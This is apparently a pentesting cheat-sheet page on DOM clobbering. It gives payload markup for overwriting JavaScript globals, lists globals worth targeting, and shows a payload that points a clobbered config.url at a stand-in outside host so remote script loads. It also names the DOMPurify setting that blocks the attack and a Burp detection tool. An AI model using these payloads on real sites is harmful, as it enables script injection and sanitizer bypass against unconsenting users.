caon.io

DOM Clobbering

HTML injection without script execution. Named elements become global variables, so your markup overwrites what the JS expects to find.

The primitive

An element with an id or name lands on window and on document.

<a id=x href="https://oob.tld">
window.x        // the <a> element
x + ''          // "https://oob.tld", toString() gives the href

That last part is what makes it useful: href stringifies, so anywhere the app concatenates the variable into a URL, you control it.

Two-level access

<a id=config><a id=config name=url href="https://oob.tld">
config.url + ''   // "https://oob.tld"

form gives you named children directly:

<form id=config><input name=url value=x></form>

Three levels and beyond

<form id=a><input name=b></form>
<form id=a name=b><input name=c value=x></form>

Also useful:

<iframe name=x srcdoc="<a id=y href=...>">   <!-- x.y across the frame -->
<img name=getElementById>                     <!-- clobber a DOM method -->

What to clobber

Grep the JS for globals that are read before they are written:

config  settings  options  window.<app>  CONFIG
scriptUrl  baseUrl  apiUrl  cdnHost  endpoint
sanitizer  DOMPurify  policy  allowlist
defaultAvatar  redirectTo  returnUrl  callback
// classic vulnerable shape
var url = window.config && window.config.url || '/default.js';
script.src = url;
<a id=config><a id=config name=url href="https://oob.tld/x.js">

Filters that don’t stop it

Sanitizers strip <script> and on* handlers but usually keep id, name, <a> and <form>. DOMPurify allows all of them by default. Clobbering is the standard way to turn “sanitized HTML injection” into a real finding.

SANITIZE_NAMED_PROPS: true is the DOMPurify option that fixes it; note whether it is set when you report.

Finding it

Burp > DOM Invader > enable "DOM clobbering"

It reports the clobberable globals on the page and the sink each one reaches.

Articles

↑↓ navigate↵ openesc close